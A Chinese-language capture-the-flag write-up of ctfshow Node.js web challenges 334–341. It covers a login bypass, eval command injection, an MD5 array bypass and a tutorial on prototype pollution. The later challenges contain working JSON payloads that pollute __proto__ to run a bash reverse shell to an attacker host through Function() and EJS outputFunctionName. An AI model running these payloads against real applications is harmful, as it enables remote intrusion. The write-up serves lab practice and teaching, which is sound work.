Web 334
下载附件,提示了,以zip格式解压缩,得到俩源码
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
审计一下,用户名CTFSHOW密码123456
toUpperCase()可以看到这个函数,对username做了什么东西,查一查这个函数
toUpperCase():
在 JavaScript 里,`toUpperCase()` 同样是 `String` 对象的一个方法,用于将字符串转换为大写形式,返回转换后的新字符串,原字符串保持不变
不允许大写,但是账号还得是那个,但是有那个函数
这么一来直接输入小写就行了呗
username:ctfshow
password:123456
Web 335
查看源代码,发现
<!-- /?eval= -->
传参?测试一下?eval=111,有回显
因为考的是nodjs嘛,就去查相关资料,内部有fs模块,去执行命令,那就用这个去调用fs模块去查,前提得用nodjs的代码语句吧
?eval=require('fs').readdirSync('.')
详细解释
1. require('fs')
require
是 Node.js 中用于引入模块的函数。在 Node.js 里,模块是代码组织和复用的基本单位。'fs'
指的是 Node.js 的内置fs
模块,该模块提供了与文件系统进行交互的功能,例如文件的读取、写入、删除以及目录的操作等。- 所以
require('fs')
的作用是引入fs
模块,从而可以使用该模块提供的各种方法。
2. readdirSync
readdirSync
是fs
模块提供的一个同步方法。同步方法意味着在执行该方法时,程序会暂停执行,直到该方法完成操作并返回结果,才会继续执行后续代码。readdirSync
方法用于读取指定目录下的所有文件和文件夹的名称。
3. '.'
'.'
代表当前工作目录,也就是 Node.js 脚本当前所在的目录。如果想要读取其他目录,可以传入相应的路径,比如'./test'
表示当前目录下的test
子目录
?eval=require('fs').readFileSync('fl00g.txt')
readFileSync
这是 fs
模块中的一个同步方法,它的作用是读取指定文件的内容
其他payload:
?eval=require('child_process').execSync('cat f*')
//使用这个child_process类里面的execSync方法
Web 336
还是查看源码,发现一样的
<!-- /?eval= -->
试试原来的payload一样适用,只是文件名更改了一下
Web 337
给了这个
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
查看源代码,仍然是那个eval
题目给的估计就是源代码了,审一下
就是通过get传参,传a和b的值,然后有一个检测,要求a和b的长度得相等,其次a和b的值不相等,最后要求a+flag和b+flag的哈希值要相等,才能输出flag
一下就想到了php里面的数组绕过,应该通用吧,测试一下
数组绕过
?a[]=1&b[]=1
好嘛,直接出解了,有点意外的
Web 338
这是道原型链的题吧,很早以前看到过类似的,所以解释一下
在JavaScript中,每个函数都有一个特殊的属性叫做原型(prototype)。原型是一个对象,它包含了可以被该函数的所有实例共享的属性和方法
当我们创建一个函数时,JavaScript会自动为该函数创建一个原型对象,并将其分配给该函数的 prototype 属性。这个原型对象包含了一些默认的属性和方法,比如 constructor
,它指向该函数本身
原型链污染
首先知道prototype
和__proto__
分别是什么
__proto__
属性
__proto__
是一个非标准的属性,它提供了对对象内部 [[Prototype]]
属性的访问。也就是说,通过 __proto__
属性,我们可以直接获取或设置一个对象的原型对象
prototype
JavaScript 是一种基于原型的编程语言,它没有传统的类继承机制,但可以通过 prototype
实现类似的继承效果,允许对象继承其他对象的属性和方法
在javascript当中我们要定义一个类时,就需要用定义构造函数的形式去定义
function Foo(){
this.bar = 1
}
new Foo()
Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性.一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数的内部
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
定了这个方法,但是问题是这样相当于是绑定到了对象上,而不是在原型内部
function Foo(){
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
可以把prototype理解为附加的一个属性,相当于每个实例化后的foo类都能包含其所有的属性和方法,就不用那个一次次的去定义了
所以
foo.__proto__ = Foo.prototype
//一个对象的__proto__属性,指向这个对象所在类的prototype属性
这样就是通过__proto__
去访问Foo的原型了,也是做到了继承
javascript原型链继承
function Father(){
this.first_name = "Donald"
this.last_name = "Trump"
}
function Son(){
this.first_name = "Melania"
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
这样就做了继承了,Son继承了Father的所有属性和方法,javascript引擎中,在调用输出的时候会现在Son中寻找last_name,若找不到就去Son.__proto__
中找,找不到就会一级一级的继承去找,这边我们将它和father做了继承,所以会找到last_name并输出,但是要注意的是,first_name会输出son里面的,因为构造函数的调用顺序,在创建Son实例时,会覆盖掉从Father继承来的同名的属性
这边还有一个特点,是对于原型链继承的:这种原型继承方式会让所有 Son
实例共享 Father
实例的属性。如果修改了某个 Son
实例的原型属性,会影响到其他 Son
实例
举个例子:
function Father() {
this.first_name = "Donald";
this.last_name = "Trump";
}
function Son() {
this.first_name = "Melania";
}
// 设置 Son 的原型为 Father 的一个实例
Son.prototype = new Father();
// 创建两个 Son 实例
let son1 = new Son();
let son2 = new Son();
// 修改 son1 的原型属性(这里以修改 last_name 为例)
son1.__proto__.last_name = "NewLastname";
// 查看 son2 的 last_name 属性
console.log(son2.last_name); // 输出: NewLastname
这边修改了Son1的原型属性,就会影响到Son2的属性
原型链污染就是利用的这个特点,通过修改原型属性,就会影响其他类
什么情况下才会有污染
就找我们能控制的就行吧
举个例子:
function merge(target,source){
for(let key in source){
if (key in source && key in target){
merge(target[key],source[key])
}else{
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b:2}}
merge(o1,o2)
console.log(o1.a,o2.b)
o3 = {}
console.log(o3.b)
merge
该函数用于递归合并两个对象。如果 source
和 target
有相同属性名且对应值都是非 null
对象,则递归合并这两个子对象;否则直接将 source
的属性值赋给 target
对应属性
o1
是一个空对象。
o2
是一个具有属性 a
值为 1
的对象,同时通过 __proto__
显式设置其原型对象,原型对象包含属性 b
,值为 2
merge
函数开始遍历 o2
的可枚举属性。
o2
有两个可枚举属性:a
和 __proto__
。
对于属性 a
,o1
中没有该属性,所以 o1.a
会被赋值为 1
。
对于属性 __proto__
,它也是一个可枚举属性(虽然 __proto__
用于设置原型,但在这里作为普通属性被遍历),o1
中没有 __proto__
属性,所以 o1.__proto__
会被赋值为 {b: 2}
,也就是 o1
的原型被修改为包含属性 b
的对象。
o1.a
:由于 merge
操作将 o2.a
的值 1
赋给了 o1.a
,所以 o1.a
输出为 1
。
o2.b
:b
是 o2
原型对象上的属性,通过原型链查找可以访问到,所以 o2.b
输出为 2
o3
是一个新创建的空对象,它没有经过任何原型修改操作,其原型是默认的 Object.prototype
,不包含属性 b
。
所以 o3.b
输出为 undefined
合并了但是并没有污染
这是因为,我们用javascript创建o2的过程(let o2 = {a: 1,“proto”:{b:2}})中,__proto__
已经代表了o2的原型,此时遍历o2所有的键名,拿到的是[a,b],__proto__
并不是一个key,自然也不会修改object的原型
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
if (typeof source[key] === 'object' && source[key]!== null && typeof target[key] === 'object' && target[key]!== null) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
} else {
target[key] = source[key];
}
}
}
let o1 = {};
let o2 = { a: 1 };
// 直接修改 o2 的原型
Object.setPrototypeOf(o2, { b: 2 });
merge(o1, o2);
console.log(o1.a, o1.b);
let o3 = {};
console.log(o3.b);
o3这样也就有了b属性,说明Object已经被污染
所以是直接影响到了object,所以o3才会有b2的属性
这些了解了之后,我们回到题目,看看源码,一堆文件,就找函数和flag位置就行,还是先看路由文件
/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
/login中用到了copy函数,去找,最后是用secert类去检测的
/common.js里有这个copy函数
ctfshow===’36dboy’才能读到flag文件
这边利用copy方法进行原型链污染嘛,就是要让secert类的object多一个ctfshow=36dboy这个属性
通过__proto__
去直接修改原型就可以,抓包改一下就行了
{"username":"s","password":"s","__proto__":{"ctfshow":"36dboy"}}
Web 339
/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
/api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
一开始审还以为和上一题一样嘞,改个secert类的原型就可以,但是再一看
secert.ctfshow===flag
就没可能了,怎么可能让ctfshow等于flag呢
然后就看到aip.js当中,定义了query这个变量,而且未定义,也就是说我们可控
使用 Function
构造函数动态创建函数存在很大的安全风险,因为它可以执行任意 JavaScript 代码。如果 query
是用户输入的数据,攻击者可以通过构造恶意的 query
字符串来执行任意代码,从而实现远程代码执行攻击
思路这不就有了嘛,对query定义,通过__proto__
去原型链污染,然后达到命令执行就OK了
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/公网ip/端口 0>&1\"')"}}
这边用云服务器作连接的时候除了开放安全组和端口,还一定要关防火墙,别问我怎么知道的
Web 340
/api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
这边是/login.js发生了变化,变成了utils.copy(user.userinfo,req.body);
可以看到,当我们嵌套两层__proto__
时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为: payload = JSON.parse(‘{“__proto__
“:{“query”:true}}’) 时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined
也就是说,我们需要污染到object,就得两层才可以,即userinfo的上层是user,user的上层才是object
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}}
Web 341
/app.js
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var app = express();
//session
var identityKey = 'auth';
app.use(session({
name: identityKey,
secret: 'ctfshow_session_secret',
store: new FileStore(),
saveUninitialized: false,
resave: false,
cookie: {
maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
}
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
app.use('/login', loginRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
//res.render('error',{msg:err.message});
res.render('error');
});
module.exports = app;
这边使的是ejs模版
/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
使用的是ejs模版,直接去写一个RCE
{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"');var _llama2"}}}
解释一下payload:
outputFunctionName 通常和 EJS(Embedded JavaScript)模板引擎相关。在 EJS 内部处理模板渲染时,会用到 outputFunctionName 来指定用于生成最终输出的函数名
_llama1; 和 var _llama2:这部分代码在整个恶意逻辑中并没有实际的危害,_llama1; 只是一个占位符或者随意编写的变量引用,而 var _llama2 是声明一个变量,主要是为了让代码语法上看起来更合理,起到混淆的作用。
global.process.mainModule.require('child_process').exec(...):这是核心的恶意代码部分。在 Node.js 环境中,global 是全局对象,process.mainModule.require 用于引入模块,这里引入了 child_process 模块。exec 方法用于执行一个 shell 命令。
bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\":这是一个典型的反弹 shell 命令。bash -i 表示启动一个交互式的 bash shell,>& /dev/tcp/ip/端口 表示将标准输出和标准错误输出重定向到指定的 IP 地址和端口的 TCP 连接上,0>&1 表示将标准输入也重定向到该连接。这样,攻击者就可以在监听该 IP 和端口的机器上获取目标系统的 shell 权限,进而执行任意命令
就是利用ejs模版里的东西去构造函数,达到命令执行的效果